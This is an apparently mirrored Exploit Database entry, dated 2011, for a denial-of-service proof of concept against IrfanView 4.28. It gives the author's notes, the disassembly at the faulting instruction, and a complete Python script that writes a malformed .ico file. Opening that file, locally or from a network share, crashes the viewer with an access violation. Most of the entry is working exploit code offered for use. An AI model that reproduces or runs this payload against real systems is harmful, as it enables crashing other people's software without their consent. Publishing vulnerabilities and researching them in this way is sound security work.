IrfanView 4.28 – ‘.ICO’ With Transparent Colour Denial of Service / Remote Denial of Service

• Exploit Database
• 121 阅读

• 作者： BraniX
  日期： 2011-04-10
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17142/
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  # done by BraniX <branix@hackers.org.pl> # www.hackers.org.pl # found: 2011.04.07 # published: 2011.04.10 # tested on: Windows XP SP3 Home Edition # tested on: Windows XP SP3 Professional   # App: IrfanView 4.28 # App Url: http://www.irfanview.com # i_view32.exe MD5: c6d9383c4119a59aad70dbc4a974b8b4   # DoS is caused by not handled Access Violation Exception in module i_view32.exe   # It can be triggered from: # Local: C:\With Transparent Colour - DoS.ico # Remote: \\MySecretServer\With Transparent Colour - DoS.ico   # 004162D08B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] # 004162D4B2 80 MOV DL,80 # 004162D68AC8MOV CL,AL # 004162D853PUSH EBX # 004162D980E1 07 AND CL,7 # 004162DCD2EASHR DL,CL # 004162DE8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C] # 004162E2C1E8 03 SHR EAX,3 # 004162E58A1C08MOV BL,BYTE PTR DS:[EAX+ECX] ; Invalid address -> Access Violation when reading # 004162E822D3AND DL,BL # 004162EA5BPOP EBX # 004162EBF6DANEG DL # 004162ED1BD2SBB EDX,EDX # 004162EFF7DANEG EDX # 004162F18BC2MOV EAX,EDX # 004162F3C3RETN   filepath = "C:\\With Transparent Colour - DoS.ico" f = open(filepath, "wb") poc = &apos;\x00\x00\x01\x00\x01\x00\x0B\x0D\x00\x00\x01\x00\x18\x00\x30\x02\x00\x00\x16\x00\x00\x00\x28\x00\x00\x00\xFE\x00\x00\x00\x1A\x00\x00\x00\x01\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1E\x17\x14\x00\x00\x00\x00\x00\x00\x2D\x26\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00\x35\x27\x24\x36\x33\x35\x2C\x33\x4B\x2C\x33\x4B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3F\x39\x48\x48\x54\x67\x33\x29\x34\x36\x33\x35\x2C\x33\x4B\x44\x46\x65\x00\x00\x00\x36\x33\x35\x56\x58\x76\x64\x67\x87\x35\x44\x4D\x1E\x17\x14\x64\x67\x87\x65\x78\x96\x35\x27\x24\x36\x33\x35\x2C\x33\x4B\x48\x54\x67\x00\x00\x00\x27\x34\x33\x65\x78\x96\x65\x78\x96\x48\x54\x67\x56\x55\x67\x77\x76\x98\x44\x44\x56\x25\x24\x24\x3F\x39\x48\x44\x44\x56\x48\x54\x67\x00\x00\x00\x44\x44\x56\x44\x46\x65\x36\x33\x35\x67\x66\x77\x65\x59\x90\x67\x66\x99\x56\x55\x67\x25\x24\x24\x3F\x39\x48\x44\x44\x56\x44\x46\x65\x00\x00\x00\x77\x69\xCA\x56\x58\x76\x44\x35\x2F\x77\x76\x98\x76\x6B\x98\x77\x76\x98\x34\x46\x2E\x25\x26\x37\x2C\x33\x4B\x3F\x39\x48\x48\x54\x67\x00\x00\x00\x65\x59\x90\x44\x44\x56\x55\x49\x65\x51\x47\x46\x55\x56\x58\x34\x46\x2E\x36\x33\x35\x36\x33\x35\x2C\x33\x4B\x2C\x33\x4B\x47\x56\x76\x00\x00\x00\x75\x69\x88\x55\x49\x65\x52\x55\x8B\x46\x43\x44\x36\x33\x35\x44\x44\x56\x44\x44\x56\x3F\x39\x48\x3F\x39\x48\x3F\x39\x48\x56\x58\x76\x00\x00\x00\x67\x66\x77\x44\x44\x56\x55\x49\x65\x55\x49\x65\x56\x58\x76\x65\x59\x90\x55\x49\x65\x3F\x39\x48\x33\x29\x34\x3F\x39\x48\x56\x58\x76\x00\x00\x00\x55\x49\x65\x55\x49\x65\x55\x49\x65\x65\x59\x90\x67\x66\x99\x65\x59\x90\x55\x49\x65\x3F\x39\x48\x33\x29\x34\x44\x44\x56\x64\x67\x87\x00\x00\x00\x4F\x49\x56\x55\x49\x65\x55\x49\x65\x56\x55\x67\x65\x59\x70\x64\x67\x87\x56\x58\x76\x3F\x39\x48\x2C\x33\x4B\x44\x46\x65\x54\x69\x8C\x00\x00\x00\x55\x49\x65\x55\x49\x65\x55\x49\x65\x55\x49\x65\x65\x59\x90\x65\x59\x90\x55\x49\x7A\x3F\x39\x48\x3F\x39\x48\x56\x58\x76\x65\x78\x96\x00\x00\x00\x65\x59\x90\x56\x58\x76\x52\x55\x8B\x65\x59\x90\x6C\x58\xB0\x67\x66\x99\x52\x55\x8B\x3F\x39\x48\x2C\x33\x4B\x56\x58\x76\x77\x8F\xAB\x00\x00\x00\x6E\x00\x00\x00\xF8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&apos; f.write(poc) f.close()   print "Done, 1 file generated on &apos;C:\\&apos; ..." print "Open this file in IrfanView 4.28 and enjoy ;)"